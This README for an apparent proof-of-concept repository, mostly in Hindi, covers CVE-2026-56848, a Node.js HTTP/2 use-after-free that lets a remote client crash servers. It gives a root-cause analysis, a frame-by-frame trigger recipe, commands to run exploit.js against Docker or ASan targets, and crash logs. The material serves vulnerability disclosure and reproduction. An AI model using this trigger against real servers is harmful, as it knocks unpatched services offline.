open-flaw/cve-2026-56848CVE-2026-56848 के लिए एक्सप्लॉइट PoC, एक Node.js HTTP/2 heap-use-after-free जो दूरस्थ अनप्रमाणित DoS की अनुमति देता है। इसमें raw-socket ट्रिगर, ASan बिल्ड निर्देश और Docker-आधारित टारगेट शामिल हैं।
Node.js HTTP/2 हैंडलिंग में एक दोष
nghttp2_session_mem_send()कोnghttp2_session_mem_recv()के निष्पादन के दौरान पुनः-प्रवेशी (re-entrantly) रूप से कॉल करने की अनुमति देता है, जिसके परिणामस्वरूप heap-use-after-free होता है।यह भेद्यता Node.js 26.x, 24.x और 22.x को प्रभावित करती है।
(नोट: विवरण में उल्लिखित संस्करण केवल अपस्ट्रीम nodejs पैकेज पर लागू होते हैं, न कि Alpine द्वारा वितरित nodejs पैकेज पर।)
| रिलीज़ लाइन | प्रभावित | सुरक्षित |
|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — रिमोट, बिना प्रमाणीकरण के, हीप भ्रष्टाचार के माध्यम से DoS)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)Http2Stream::SubmitRstStream() src/node_http2.cc में RST_STREAM को कतारबद्ध करने से पहले लंबित आउटबाउंड डेटा को शुद्ध (purge) करने के लिए बाध्य करता है:```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
`SendPendingData()` `nghttp2_session_mem_send()` को कॉल करता है ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970))। इसका एकमात्र re-entrancy गार्ड `is_sending()` है, जो *send-during-send* (पहले से प्रगति पर एक लेखन) से सुरक्षा करता है — **send-during-receive से नहीं**। जब `SubmitRstStream()` किसी `nghttp2_session_mem_recv()` कॉलबैक श्रृंखला के अंदर ("in scope") चलता है, तो purge `mem_send()` को पुनः-प्रवेशी (re-entrantly) रूप से चलाता है।
पुनः-प्रवेशी `mem_send()` उन फ्रेमों को flush करता है जिनकी send-पक्षीय प्रक्रिया स्ट्रीमों को तोड़ देती है (`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → C++ `Http2Stream` की मुक्ति)। मुक्त की गई स्ट्रीम अभी भी प्रगति पर मौजूद receive ऑपरेशन द्वारा संदर्भित है: `SubmitRstStream()` स्वयं मुक्त किए गए `this` पर निष्पादित होता रहता है (इसका अंतिम `FlushRstStream()` `is_destroyed()` पढ़ता है), और बाहरी `mem_recv()` बंद स्ट्रीम के लिए frame/header स्थिति पर चलता रहता है → **heap-use-after-free**।
### ट्रिगर श्रृंखला (सभी एक ही `nghttp2_session_mem_recv()` कॉल के भीतर)
1. हमलावर एक ही TCP सेगमेंट में `GOAWAY(lastStreamID=0, NO_ERROR)` के तुरंत बाद नई स्ट्रीमों (3, 5, 7, …) के लिए `HEADERS` फ्रेम भेजता है।
2. सर्वर का `mem_recv()` GOAWAY को संसाधित करता है → JS `session.close()` → `session.closed = true` हो जाता है और एक आउटबाउंड GOAWAY **सबमिट किया जाता है लेकिन अभी तक भेजा नहीं गया है**।
3. nghttp2 नई आने वाली स्ट्रीमों को तभी अस्वीकार करता है जब GOAWAY वास्तव में *भेजा* गया हो (`session_allow_incoming_new_stream()` `TERM_ON_SEND | SENT` की जाँच करता है, `SUBMITTED` की नहीं), इसलिए `HEADERS(3)` अभी भी स्वीकार किया जाता है।
4. JS `onSessionHeaders()` बंद सत्र पर एक नई स्ट्रीम देखता है और उसे अस्वीकार करता है: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js)।
5. C++ `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` in scope (यानी `mem_recv` के अंदर) चलता है, `REFUSED_STREAM ≠ CANCEL` → `SendPendingData()` तक पहुँचता है → **re-entrant `nghttp2_session_mem_send()`**।
6. re-entrant send आउटबाउंड GOAWAY को flush करता है; nghttp2 की send-पक्षीय GOAWAY प्रक्रिया id > 1 वाली आने वाली स्ट्रीमों को बंद कर देती है (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`), जिससे `on_stream_close` सक्रिय होता है → `Http2Stream::Destroy()` स्ट्रीम 3 के लिए C++ स्ट्रीम ऑब्जेक्ट को मुक्त करता है।
7. निष्पादन मुक्त किए गए ऑब्जेक्ट पर `SubmitRstStream()` में वापस unwinds होता है (`FlushRstStream()`), और बाहरी `mem_recv()` दूषित session/stream स्थिति पर फिर से शुरू होता है → UAF।
एक कमजोर सर्वर पर `NODE_DEBUG_NATIVE=http2` से प्राप्त साक्ष्य (एक 86-बाइट रीड):```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
वायर-स्तर का आउटपुट कमजोर और पैच किए गए बिल्ड दोनों पर समान होता है (दोनों ही अंततः केवल बाहरी GOAWAY भेजते हैं — कमजोर बिल्ड पर RST पहले से बंद स्ट्रीम के विरुद्ध सबमिट किया जाता है, जबकि पैच किए गए बिल्ड पर nghttp2 GOAWAY पहले भेजे जाने के बाद क्यू में लगे RST को हटा देता है)। अंतर आंतरिक है, जो NODE_DEBUG_NATIVE=http2 के साथ दिखाई देता है:
sending pending data बीच में sending rst_stream with code 7 और stream 3 closed with code: 7 के बीच प्रकट होता है — री-एंट्रेंट mem_send() रिसीव के मध्य में चलता है और स्ट्रीम 3 को बंद/नष्ट कर देता है जबकि mem_recv() अभी भी प्रगति पर है (ASan के अंतर्गत क्रैश)।sending pending data नहीं होता — RST केवल क्यू में लगाया जाता है; स्ट्रीम 3 केवल सामान्य रिसीव-पश्चात फ्लश के दौरान बंद होती है।server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### त्वरित रन```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (नीचे उपयोग किया गया स्थानीय ASan बिल्ड) git में ट्रैक नहीं किया जाता है — इसे "ASan-इंस्ट्रूमेंटेड संवेदनशील Node.js बनाना" के निर्देशों के साथ बनाएं, या Docker मार्ग का उपयोग करें।
एक्सप्लॉइट प्रति-कनेक्शन स्थिति रिपोर्ट करता है; पहले कनेक्शन के बाद SKIPPED (no handshake) का अर्थ है कि लक्ष्य हमले से पहले ही नष्ट हो चुका है।
Dockerfile एक कंटेनर के अंदर ASan के साथ एक संवेदनशील v22.23.1 लक्ष्य बनाता है (किसी स्थानीय टूलचेन की आवश्यकता नहीं — केवल Docker डेमन):```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
टिप: यदि आपके पास पहले से ही कहीं और निर्मित ASan-इंस्ट्रूमेंटेड `node` बाइनरी है, तो लंबे कंपाइल को छोड़ दें
और इसे सीधे पैकेज करें:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
Verified against the containerized target: the first attack connection produces
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING in docker logs and
the container exits (133 on linux/arm64) — same UAF as the native ASan run.
Plain (non-ASan) variant using an official image, for hammering without a custom build:```bash
docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000
नोट: यदि ASan कंटेनर के अंदर शैडो-मेमोरी रेंज त्रुटि के साथ प्रारंभ होने में विफल रहता है (कुछ ARM64 कर्नेल पर उच्च `vm.mmap_rnd_bits` के साथ देखा गया), तो Docker होस्ट पर एन्ट्रॉपी कम करें: `sysctl vm.mmap_rnd_bits=28`।
### ASan-इंस्ट्रूमेंटेड भेद्य Node.js बनाना```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)
# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address" \
./configure --debug --ninja && ninja -C out/Debug node
ASan बिल्ड heap-use-after-free को नियतात्मक रूप से प्रस्तुत करता है (आमतौर पर पहले कुछ कनेक्शनों पर)। सामान्य रिलीज़ बिल्ड आमतौर पर क्रैश नहीं करते, क्योंकि मुक्त किया गया चंक तुरंत पुनः उपयोग नहीं होता; हैमरिंग से संभावना बढ़ती है, लेकिन कोरप्शन प्रदर्शित करने का विश्वसनीय तरीका ASan है।
| लक्ष्य | परिणाम |
|---|---|
| v22.23.1 + ASan (भेद्य) | पहले अटैक कनेक्शन पर ही क्रैश होता है: heap-use-after-free → SIGABRT, रनर exit 0 |
| v22.23.2 (पैच किया गया) | सभी कनेक्शनों पर बचा रहता है, रनर exit 1 |
ASan रिपोर्ट (अंश, v22.23.1 macOS arm64 बिल्ड):``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
freed by thread T0 here: ... #5 nghttp2_session_destroy_stream nghttp2_session.c:1369 #6 nghttp2_session_close_stream nghttp2_session.c:1350 #7 session_close_stream_on_goaway nghttp2_session.c:2442 #8 session_after_frame_sent1 nghttp2_session.c:2665 #9 nghttp2_session_mem_send2 nghttp2_session.c:3144 ← re-entrant send #10 node::http2::Http2Session::SendPendingData() node_http2.cc:1970 #11 node::http2::Http2Stream::SubmitRstStream(...) node_http2.cc:2535
बाहरी `mem_recv()` स्ट्रीम 3 के `nghttp2_stream` से `stream->shut_flags` पढ़ता है — जिसे पुनः-प्रवेशी `mem_send()` की GOAWAY प्रोसेसिंग द्वारा मुक्त किया गया था — ठीक वही पुनः-प्रवेश जिसका वर्णन एडवाइज़री में किया गया है।```zsh
➜ ./bin/node server.js 8000
[server] listening on 8000
=================================================================
==46874==ERROR: AddressSanitizer: heap-use-after-free on address 0x60d000003cdc at pc 0x00010984c5fc bp 0x00016b3e8c60 sp 0x00016b3e8c58
READ of size 1 at 0x60d000003cdc thread T0
#0 0x00010984c5f8 in session_end_stream_headers_received nghttp2_session.c:3711
#1 0x00010983e7d8 in session_after_header_block_received nghttp2_session.c:3824
#2 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#3 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#4 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#5 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#6 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#7 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#8 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#9 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#10 0x0001085e025c in uv__read stream.c:1148
#11 0x0001085d5568 in uv__stream_io stream.c:1208
#12 0x000108600844 in uv__io_poll kqueue.c:423
#13 0x000108599e94 in uv_run core.c:460
#14 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#15 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#16 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#17 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#18 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#19 0x00010928e3d4 in main node_main.cc:97
#20 0x000189482b94 (<unknown module>)
0x60d000003cdc is located 124 bytes inside of 136-byte region [0x60d000003c60,0x60d000003ce8)
freed by thread T0 here:
#0 0x000117991424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d424)
#1 0x000104bebe3c in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:261
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f80 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::FreeImpl(void*, void*) node_mem-inl.h:83
#4 0x00010981a450 in nghttp2_mem_free nghttp2_mem.c:61
#5 0x000109825aa8 in nghttp2_session_destroy_stream nghttp2_session.c:1369
#6 0x0001098258ac in nghttp2_session_close_stream nghttp2_session.c:1350
#7 0x00010983002c in session_close_stream_on_goaway nghttp2_session.c:2442
#8 0x000109828e64 in session_after_frame_sent1 nghttp2_session.c:2665
#9 0x000109826804 in nghttp2_session_mem_send2 nghttp2_session.c:3144
#10 0x000109826724 in nghttp2_session_mem_send nghttp2_session.c:3124
#11 0x00010509e878 in node::http2::Http2Session::SendPendingData() node_http2.cc:1970
#12 0x0001050a359c in node::http2::Http2Stream::SubmitRstStream(unsigned int) node_http2.cc:2535
#13 0x0001050b973c in node::http2::Http2Stream::RstStream(v8::FunctionCallbackInfo<v8::Value> const&) node_http2.cc:3044
#14 0x0001086163d4 in Builtins_CallApiCallbackGeneric+0xb4 (node:arm64+0x103c0e3d4)
#15 0x00010861432c in Builtins_InterpreterEntryTrampoline+0x10c (node:arm64+0x103c0c32c)
#16 0x0001086117c8 in Builtins_JSEntryTrampoline+0xa8 (node:arm64+0x103c097c8)
#17 0x0001086114b0 in Builtins_JSEntry+0x90 (node:arm64+0x103c094b0)
#18 0x000105ff5358 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) execution.cc:418
#19 0x000105ff408c in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, int, v8::internal::Handle<v8::internal::Object>*) execution.cc:504
#20 0x00010590caac in v8::Function::Call(v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) api.cc:5485
#21 0x000104af5168 in node::InternalMakeCallback(node::Environment*, v8::Local<v8::Object>, v8::Local<v8::Object>, v8::Local<v8::Function>, int, v8::Local<v8::Value>*, node::async_context, v8::Local<v8::Value>) callback.cc:237
#22 0x000104b69780 in node::AsyncWrap::MakeCallback(v8::Local<v8::Function>, int, v8::Local<v8::Value>*) async_wrap.cc:665
#23 0x0001050a463c in node::http2::Http2Session::HandleHeadersFrame(nghttp2_frame const*) node_http2.cc:1567
#24 0x000105092e68 in node::http2::Http2Session::OnFrameReceive(nghttp2_session*, nghttp2_frame const*, void*) node_http2.cc:1107
#25 0x00010982b5b0 in session_call_on_frame_received nghttp2_session.c:3229
#26 0x00010983e72c in session_after_header_block_received nghttp2_session.c:3815
#27 0x000109838518 in nghttp2_session_mem_recv2 nghttp2_session.c:6506
#28 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#29 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
previously allocated by thread T0 here:
#0 0x000117991520 in realloc+0x80 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d520)
#1 0x000104bebe58 in char* node::UncheckedRealloc<char>(char*, unsigned long) util-inl.h:265
#2 0x000105112128 in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::ReallocImpl(void*, unsigned long, void*) node_mem-inl.h:53
#3 0x000105111f3c in node::mem::NgLibMemoryManager<node::http2::Http2Session, nghttp2_mem>::MallocImpl(unsigned long, void*) node_mem-inl.h:77
#4 0x00010981a3a0 in nghttp2_mem_malloc nghttp2_mem.c:57
#5 0x000109824728 in nghttp2_session_open_stream nghttp2_session.c:1227
#6 0x000109829ee8 in nghttp2_session_on_request_headers_received nghttp2_session.c:3910
#7 0x00010983c454 in session_process_headers_frame nghttp2_session.c:4058
#8 0x000109833ad4 in nghttp2_session_mem_recv2 nghttp2_session.c:5657
#9 0x000109832824 in nghttp2_session_mem_recv nghttp2_session.c:5421
#10 0x0001050a1a20 in node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959
#11 0x0001050ad564 in node::http2::Http2Session::OnStreamRead(long, uv_buf_t const&) node_http2.cc:2194
#12 0x000104dda218 in node::StreamResource::EmitRead(long, uv_buf_t const&) stream_base-inl.h:79
#13 0x000105544d1c in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) stream_wrap.cc:292
#14 0x000105547be4 in node::LibuvStreamWrap::ReadStart()::$_1::operator()(uv_stream_s*, long, uv_buf_t const*) const stream_wrap.cc:212
#15 0x0001055479bc in node::LibuvStreamWrap::ReadStart()::$_1::__invoke(uv_stream_s*, long, uv_buf_t const*) stream_wrap.cc:208
#16 0x0001085e025c in uv__read stream.c:1148
#17 0x0001085d5568 in uv__stream_io stream.c:1208
#18 0x000108600844 in uv__io_poll kqueue.c:423
#19 0x000108599e94 in uv_run core.c:460
#20 0x000104afc710 in node::SpinEventLoopInternal(node::Environment*) embed_helpers.cc:41
#21 0x000105134040 in node::NodeMainInstance::Run(node::ExitCode*, node::Environment*) node_main_instance.cc:111
#22 0x000105133564 in node::NodeMainInstance::Run() node_main_instance.cc:100
#23 0x000104e74864 in node::StartInternal(int, char**) node.cc:1630
#24 0x000104e73ed8 in node::Start(int, char**) node.cc:1637
#25 0x00010928e3d4 in main node_main.cc:97
#26 0x000189482b94 (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free nghttp2_session.c:3711 in session_end_stream_headers_received
Shadow bytes around the buggy address:
0x60d000003a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003a80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x60d000003b00: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
0x60d000003b80: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x60d000003c00: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
=>0x60d000003c80: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fa fa fa
0x60d000003d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003e80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x60d000003f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==46874==ABORTING
[1] 46874 abort ./bin/node server.js 8000